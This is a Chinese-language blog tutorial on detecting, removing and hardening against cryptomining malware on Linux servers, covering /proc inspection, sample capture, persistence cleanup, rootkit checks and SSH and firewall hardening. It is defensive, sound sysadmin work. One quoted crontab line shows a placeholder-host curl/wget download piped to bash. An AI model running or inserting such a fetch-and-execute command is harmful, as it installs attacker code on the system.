事情是这样的,上个月某天早上我刚打开电脑,就被连续十几条告警刷屏:服务器CPU持续95%以上,出口带宽跑满,负载飙到几十。但我们的业务流量明明没有大促,这个时间点不应该有任何高峰。我登录服务器第一眼,top里躺着一个我不认识的进程,CPU占用300%多,进程名还故意伪装成系统服务名。不用多说,挖矿病毒上了机器。
这篇文章就是把我处理这件事的完整流程写出来,连同判断思路、清理步骤、加固方案,全部分享给刚入门或者还没遇到过这种事的Linux使用者。内容不绕弯子,照着操作就能解决问题,同时会告诉你每一步背后的原因。适合运维新手、个人开发者、小团队服务器管理员,也适合那些公司“出事才想起来搞安全”的兄弟们。
1. 到底怎么判断它是不是挖矿病毒:别靠感觉,靠这几个命令
1.1 先看负载再看进程:top 与 htop 的正确打开方式
很多人一发现服务器卡顿,第一反应就是重启。这种做法我没法完全否定,但如果是挖矿病毒,重启大概率没用。因为现在的大部分挖矿木马都做了持久化,你起来它也跟着起来,而且重启会丢掉了现场信息,后续排查反而更被动。
登录后第一步,用top看整体负载和CPU占用。重点不是看排名前几的进程,而是注意这几点:
- CPU的us(用户态)和sy(内核态)占比是否异常
- 有没有进程的CPU占用稳定超过100%
- 同一进程是否在每次刷新时PID不变或频繁变化
- 系统负载值是否远高于CPU核数
htop比top更直观,可以看到进程树、颜色区分线程,如果是隐蔽的进程树结构,一眼就能看出父子关系。没装htop的可以用yum install htop或者apt install htop,非常快。
真正的高手排查时不会只看top,因为有些rootkit会替换掉ps、top、netstat这些命令,让它们隐藏恶意进程。所以更可靠的路径是直接看/proc目录。我习惯先跑一条命令把每个进程的真实CPU占用列出来:
for pid in $(ls /proc | grep -E '^[0-9]+$'); do if [ -r /proc/$pid/stat ]; then utime=$(awk '{print $14}' /proc/$pid/stat) stime=$(awk '{print $15}' /proc/$pid/stat) total=$((utime + stime)) echo "$pid $total" fi done | sort -k2 -nr | head -20这条命令直接读取内核向/proc暴露的进程统计字段,不经过被篡改的系统工具。如果这个结果和top展示的有出入,说明你的系统命令很可能被动过手脚了,这就不是简单清除挖矿能解决的了。
1.2 找出异常的来历:ps 追溯父子进程
确认有异常进程后,下一步是找出它的启动方式和父进程。挖矿木马很少直接作为孤儿进程运行,它多半是被某个入口带起来的,比如定时任务、WebShell、redis漏洞、docker未授权访问等。
用一条简单命令查看进程的父子关系:
ps -ef --forest或者对指定进程号查看详情:
ps -ef | grep 12345 cat /proc/12345/status | grep PPid关键地方在这里:看PPid。如果PPid是1(systemd),说明这个进程被托管或已变成孤儿进程;如果PPid是某个web服务进程,那基本能推断它是通过Web漏洞被拉起的;如果PPid是crond,那线索就在定时任务里。
同时看一下进程的工作目录和可执行文件路径:
ls -l /proc/12345/cwd ls -l /proc/12345/exe挖矿木马经常把自己放在/tmp、/var/tmp、/dev/shm这类可写目录下,文件名伪装成sysguard、kdevtmpfs、php-cgi、httpd之类。看到这种路径组合,基本可以确信中招了。
1.3 内存里运行的进程:top 可能骗你的几种方式
挖矿木马为了让自己的进程不那么显眼,常用几种伪装手法:
- 把进程名改成和正常系统服务一样的名字,比如
ksoftirqd/0、kworker、systemd-network - 把进程名设成超长字符串,挤掉后面的CPU列,让肉眼在top里看不到CPU占用
- 直接替换系统命令,让你查什么都是干净的
遇到这类情况,要看/proc/进程号/cmdline:
cat /proc/12345/cmdline | tr '\0' ' ' cat /proc/12345/environ | tr '\0' '\n'如果cmdline显示的是一个普通系统服务,但你的服务器当前跑的服务清单里根本没有它,那就要注意。另一个很有效的方法是检查/proc/12345/exe指向的文件是否还在,如果文件已经被删除但进程还在运行,那几乎可以断定是恶意程序——正常进程的可执行文件不会被删掉。
2. 动手删除之前,先做一次“现场拍照”:隔离与取证
2.1 快照备份:别把自己逼上绝路
很多新人看到挖矿进程就要立刻杀掉,然后删文件,生怕多留一秒就多损失一点。这个心情能理解,但实际不建议这么做。先别急着清扫,先给自己留一条退路。如果你用的是云服务器,控制台里的快照功能此时就是保命符,几秒钟就能创建一个磁盘快照,后续就算删错了文件也能恢复。如果是物理机或者没有快照功能,至少把关键业务数据备份到安全位置。注意,备份数据时不要去挂载原盘执行大文件拷贝,这会加剧服务器负载,优先备份配置和数据库内容。
2.2 抓取挖矿样本:利用 /proc/pid/exe
取证不是专业安全团队才做的事,个人处理挖矿病毒时也需要先保留样本。因为你需要分析病毒的具体行为,判断它是简单木马还是带有rootkit的顽固程序,这直接影响后面到底该手动清除还是直接重装。
抓样本最直接的办法:
cp /proc/12345/exe /tmp/malware.sample chmod 400 /tmp/malware.sample即使原始文件已经被删掉,从/proc中也能把正在运行的进程镜像拷贝出来。拿到样本后先不要急着双击运行,可以用strings命令简单看一下它编译链接的库、矿池地址、密钥信息等:
strings /tmp/malware.sample | grep -E "pool|stratum|http://|https://|\.onion"这一步能让你摸清病毒连接了哪个矿池、通过什么协议通信。记录下来,后面封堵防火墙的时候用得上。
同时把当前的网络连接状态存一份快照:
ss -antp > /tmp/netstat_before.txt lsof -i -P -n > /tmp/lsof_before.txt crontab -l > /tmp/crontab_before.txt不要小看这几个文件,它记录的是清理前的原始状态。万一清理过程中出现误判,这些文件能帮你复盘整个链条。
2.3 拦截矿池通信:断网不如精准封禁
有一种做法是发现挖矿后立刻拔网线或者通过云厂商安全组直接禁掉全部出方向流量。这个方法确实能立刻止损,但在生产环境里经常引起误伤,可能把正常的业务调用也断掉。更好的做法是精准封禁矿池地址和病毒已知的通信端口。
把它加入防火墙:
iptables -A OUTPUT -d 矿池IP -j DROP iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 4444 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 6666 -j DROP大多数挖矿木马使用的矿池端口集中在14444、3333、4444、5555、6666、7777、8080等附近,但不是绝对,建议结合上一节抓到的字符串信息来封。如果开启了firewalld,可以用firewall-cmd --permanent --add-rich-rule='rule family="ipv4" destination address="矿池IP" reject',记得重载规则。
3. 挖矿主体的清除过程:到底该 kill 哪个、删哪个
3.1 常见挖矿进程与文件特征速查表
不是每个恶意进程都叫xmrig,现在攻击者会随机换各种名字。但大多数挖矿木马有共同特征,我把常见的情况整理了一张表,方便对照:
| 特征类型 | 常见值或特征 | 说明 |
|---|---|---|
| 进程名伪装 | kdevtmpfs、kinsing、pwnrig、watchdogs、php-cgi、httpd | 伪装成内核线程或Web服务的名字 |
| 存放路径 | /tmp、/var/tmp、/dev/shm、/lib、/usr/lib | 利用目录可写且不被常规关注的特点 |
| 启动方式 | crontab、systemd service、rc.local、LD_PRELOAD | 通过多种持久化手段保证重启后再活 |
| 网络连接 | 高频连接矿池端口、境外IP | 有固定时间间隔的重连行为 |
| CPU特征 | 多核跑满、单进程CPU 300%以上 | 挖矿计算密集型特征 |
进程名伪装这块值得多说一句。早些年挖矿病毒喜欢直接用xmrig这类公开挖矿软件名,现在基本见不到了,因为太容易被一眼发现。现在更常见的是把自己放到/usr/lib/linux/这种看起来像正常目录的地方,进程名改成systemd或者cron,和系统的真实进程混在一起,粗看根本分辨不出来。
3.2 顺藤摸瓜:从进程到启动项的完整溯源
找到了异常进程后,先别急着kill。先查一遍它为自己设置的所有持久化手段,否则你kill掉这个进程,几秒钟后它又被拉起来,形成“你杀你的、它活它的”尴尬局面。
常见的持久化位置逐个排查:
# 当前用户的定时任务 crontab -l # 系统定时任务目录 ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ # 存放crontab备份的目录 ls -la /var/spool/cron/ /var/spool/cron/crontabs/ # systemd服务 systemctl list-unit-files | grep -E "enabled|generated" ls -la /etc/systemd/system/ # 启动脚本 cat /etc/rc.local 2>/dev/null挖矿木马最喜欢写的地方是/var/spool/cron/和/etc/cron.d/,因为这两个位置普通用户很少去看。而且它们写入的内容往往是base64编码的,光看文件内容看不出来执行了什么东西。我自己遇到过一个样本,定时任务内容是正则替换curl地址后下载文件,但整个命令被分片拼接,不还原根本看不出恶意。
所以看定时任务时别只读表面,如果看到类似下面的内容:
*/5 * * * * root (curl -s http://xxx.xx/x||wget -q -O- http://xxx.xx/x)|bash这基本就是挖矿木马在拉锯战。还有的会利用at任务、anacron、systemd timer,这些比较少但存在,遇到顽固样本时都要检查。
3.3 清理定时任务和 systemd 服务
找到启动项后,先把恶意任务剥离出来。结合我们的场景,操作顺序应该是:
先把异常进程杀掉:
kill -9 进程PID同时把守护它的父进程也处理掉,防止它被重新拉起。然后清理定时任务:
crontab -e删除挖矿相关行。系统定时任务目录里的对应文件也要删掉,比如/etc/cron.d/zzzz。删除前用grep -r "可疑关键词" /etc/cron* /var/spool/cron*找到所有出现位置。
systemd恶意服务采用下面几步处理:
systemctl stop 恶意服务名 systemctl disable 恶意服务名 rm -f /etc/systemd/system/恶意服务名.service systemctl daemon-reload接下来是删除二进制文件。如果前面已经从/proc/pid/exe映射到了实际文件路径,直接删除即可。如果文件处于被占用状态,先kill进程再删。如果文件在/tmp且占用了内存,可以用lsof +L1列出所有被删除但仍在运行的进程,然后kill掉。
3.4 别大意:清理完马上复查一遍
清理完成后不要觉得万事大吉,立刻做一次复查,确认病毒没有“分身”或者卷土重来:
ps aux | grep -E "进程名|可疑关键字" | grep -v grep ss -antp | grep 矿池端口 crontab -l cat /root/.ssh/authorized_keys这里特别提醒:一定要检查SSH密钥。挖矿木马种到机器上后,攻击者往往会立刻添加自己的SSH公钥到authorized_keys,这样即使你清了文件、堵了漏洞,他随时还能用密钥登进来。清理的时候把里面不认识的公钥全部删掉,只保留你自己管理的密钥。
4. rootkit 和顽固残留:什么时候该放弃治疗直接重装
4.1 如何判定系统被植入了 Rootkit
处理挖矿病毒最怕遇到的不是病毒本身,而是它顺便植入了rootkit。Rootkit会劫持系统底层调用,让你的ps、ls、netstat、ss全部显示假数据,你看到的“干净系统”可能只是它演给你看的。
怎么快速判断有没有rootkit?看这几个地方:
# LD_PRELOAD 劫持检查 cat /etc/ld.so.preload # 系统库文件是否被修改 ldd /bin/ls ldd /usr/bin/top # 检查可疑的内核模块 lsmod | grep -iE "hide|ko|rootkit" # 使用rkhunter扫描 rkhunter --check --skips chkrootkit如果/etc/ld.so.preload里出现了一个不在系统正常包里的.so文件,比如/usr/lib/libprocesshider.so这种,那基本可以确定系统命令被劫持了。此时你看到的挖矿进程可能只是冰山一角,底层可能隐藏着更多恶意行为。
4.2 能救则救,不能救别硬扛
这是一个真实经验:如果只是普通挖矿木马,手动清理完全能解决,耗时半小时以内。但如果发现了rootkit痕迹,我个人建议不要恋战,优先考虑重装系统。不是说一定清不干净,而是你无法确认它在系统里改了什么、藏了什么暗门。一个被rootkit侵蚀过的系统,就算肉眼看到的恶意程序都清掉了,内核层和动态链接层面可能还留有后手,后续随时可能再次被控制。
什么时候选择重装,这个判断标准可以参考:
| 情况 | 建议 |
|---|---|
| 仅发现挖矿进程和定时任务,无rootkit迹象 | 手动清理,保留系统 |
| 发现LD_PRELOAD劫持或系统命令被替换 | 建议重装 |
| 内核模块被加载了可疑ko文件 | 必须重装 |
| 系统密码和SSH密钥被篡改 | 重装或至少全量重置凭据 |
| 清理一次后又被入侵 | 不要犹豫,重装 |
之前处理过一个电商客户的服务器,第一次清理完,第二天又中招了,第二次排查才发现攻击者在多个地方埋了后门,包括一个伪造的系统更新脚本。这种典型的“你清啥它重放啥”的情况,继续清理就是浪费时间,直接备份业务数据、重新安装系统最稳妥。
4.3 重装后恢复数据的注意点
重装前要注意,备份的数据里可能有“脏东西”。恶意脚本、被篡改的配置文件、web目录里的webshell,这些不能直接恢复到新系统。数据库和业务数据比较安全,但也要经过扫描确认。
恢复时的两个建议:
- 数据库导出文件恢复到新实例后,先修改数据库账号密码,禁用默认端口远程访问
- Web目录下的文件用杀毒软件全盘扫描一遍再上线,或者干脆只保留业务数据,程序代码从版本库重新拉取
很多人会犯一个错误,重装系统后把原系统的/home、/var/www原样拷回去,结果挖矿病毒藏在某个上传目录的php脚本里,新系统瞬间二次中标。这不是危言耸听,WebShell是挖矿木马最常用的入口之一。
5. 反入侵加固:把被撬开的“门”封住
5.1 攻击入口的常见套路:Redis/Docker/SSH弱口令
清理完病毒只是治标,堵住入口才是治本。我看了大量挖矿入侵案例后,发现大部分攻击者进入服务器的方式就那几类,没有多高端。
第一个是Redis未授权访问。很多开发者为图方便,把Redis绑定在0.0.0.0,然后不设置密码或者设置弱密码。攻击者连接后利用Redis写文件功能,直接把自己的公钥写进/root/.ssh/authorized_keys,SSH登录就进来了。防范就两条:redis.conf里bind 127.0.0.1,并设置强密码;如果必须对外提供服务,放到受信内网并通过防火墙限制来源IP。
第二个是Docker API未授权访问。装完Docker后如果直接执行dockerd -H tcp://0.0.0.0:2375,等于把整个宿主的root权限送给公网。攻击者调用Docker API创建特权容器,轻易就能逃逸到宿主机。现在很多挖矿攻击专门扫2375端口,扫到一个就种一批。
第三个是SSH弱口令和暴力破解。Linux服务器的22端口每天都遭受大量扫描。如果你的密码是123456、admin这种级别,暴破只是时间问题。这种入口也最容易被新手忽略,总觉得自己的密码“挺复杂的”,实际在密码字典面前毫无抵抗力。
5.2 SSH 加固清单:让你少挨一半扫描
SSH加固是目前性价比最高的防御手段。我把自己实践过的配置写出来,跟着改就行:
编辑/etc/ssh/sshd_config,修改以下内容:
Port 2022 PermitRootLogin no PasswordAuthentication no PubkeyAuthentication yes MaxAuthTries 3 LoginGraceTime 30 AllowUsers yourname改完执行systemctl restart sshd。
这里解释一下为什么这么改是有效的:
- 把SSH端口从22改成其他高位端口,能避开绝大多数批量扫描,让机器在公网上的暴露面大大缩小。这不是安全措施,只是减少噪音。
- 禁用root直接登录,配合普通用户 + sudo,就算有人拿到你的非root账号,也还需要二次提权。
- 禁用密码登录,只允许密钥登录,基本杜绝了暴力破解。
你可能觉得改了端口会不方便,但换来的安静是值得的。之前我管理的一台云主机改成非标准端口后,日志里每天的暴力破解尝试从几千条骤降到几乎为零。
5.3 对外端口的最小化封锁
服务器的原则应该是:默认全部关闭,只开业务必需的端口。不要开着大量端口等业务要用再加。这里给出UFW和firewalld的常用配置。
UFW(Debian/Ubuntu):
ufw default deny incoming ufw default allow outgoing ufw allow 2022/tcp ufw allow 80/tcp ufw allow 443/tcp ufw enableFirewalld(CentOS/RHEL):
firewall-cmd --permanent --zone=public --remove-service=ssh firewall-cmd --permanent --zone=public --add-port=2022/tcp firewall-cmd --permanent --zone=public --add-service=http firewall-cmd --permanent --zone=public --add-service=https firewall-cmd --reload如果数据库、消息队列等中间件只在内部使用,一定不要暴露在公网。如果因为架构原因必须对外提供服务,至少要限制来源IP白名单。比如MySQL只允许应用服务器的IP访问,Redis只允许内网访问,这种需要在云安全组和本机防火墙同时配置。
5.4 自动更新与入侵检测的兜底
加固完了之后,系统漏洞依然是最大的隐患。Linux系统的软件仓库会不断发布安全补丁,但很多服务器长年不更新,导致攻击者利用已知漏洞一打一个准。
配置自动安全更新,Ubuntu/Debian下可以用unattended-upgrades:
apt install unattended-upgrades dpkg-reconfigure --priority=low unattended-upgradesCentOS/RHEL下用yum-cron或dnf-automatic:
dnf install dnf-automatic systemctl enable --now dnf-automatic.timer再配合一个简单的入侵检测工具,最推荐的是fail2ban,它能在检测到连续SSH登录失败后自动封禁来源IP:
apt install fail2ban # 或者 yum install fail2ban修改/etc/fail2ban/jail.local:
[sshd] enabled = true port = 2022 maxretry = 3 bantime = 3600这里面的bantime是封禁时长,单位是秒。3600就是封一小时,如果你被盯上了,这个时长能有效阻止攻击者的持续扫描,同时不会误伤自己的IP。
6. 恢复正常后的监控与体检:好习惯比一次清理更重要
处理完挖矿病毒后,我会建议你给服务器建立一套基础监控,不用多复杂,但要有。最朴素的做法是定时抓取进程和网络快照,用crontab就能实现,每天凌晨跑一次,把结果存到单独目录:
0 4 * * * ps aux > /var/log/process_$(date +\%Y\%m\%d).log 5 4 * * * ss -antp > /var/log/netstat_$(date +\%Y\%m\%d).log 10 4 * * * crontab -l > /var/log/cron_$(date +\%Y\%m\%d).log这样即使后续再出问题,你能对照历史日志找出变化的时间点。
如果想更自动化,可以用auditd监控关键目录的写入行为。尤其是/tmp、/dev/shm、/var/tmp这些挖矿木马最爱落地的目录。配置方法不复杂,修改/etc/audit/rules.d/audit.rules,添加:
-w /tmp -p wa -k tmp_watch -w /var/tmp -p wa -k tmp_watch -w /dev/shm -p wa -k tmp_watch然后重启auditd服务。这样做之后,如果再有异常文件在临时目录创建,审计日志里会留下记录,能在第一时间发现可疑行为。
最后说一个我踩过几次坑之后总结出来的经验:处理挖矿病毒最核心的不是“清理动作”,而是“判断能力”。遇到紧急情况先不要慌,先拍快照、备份证据、理清入侵路径,再决定是清理还是重装。尤其是新手,不要在网上看到一篇“杀毒教程”就照着敲,结果把系统文件也删了,最后还不如重装来得干净。如果你对Linux还不太熟,我的建议很简单:中了一次毒之后,认认真真把SSH加固做了,把对外端口改成最小化,把自动更新开了,这比装任何“杀毒软件”都有用。服务器中了挖矿不可怕,可怕的是中完之后还不意识到是哪里被撬开了门。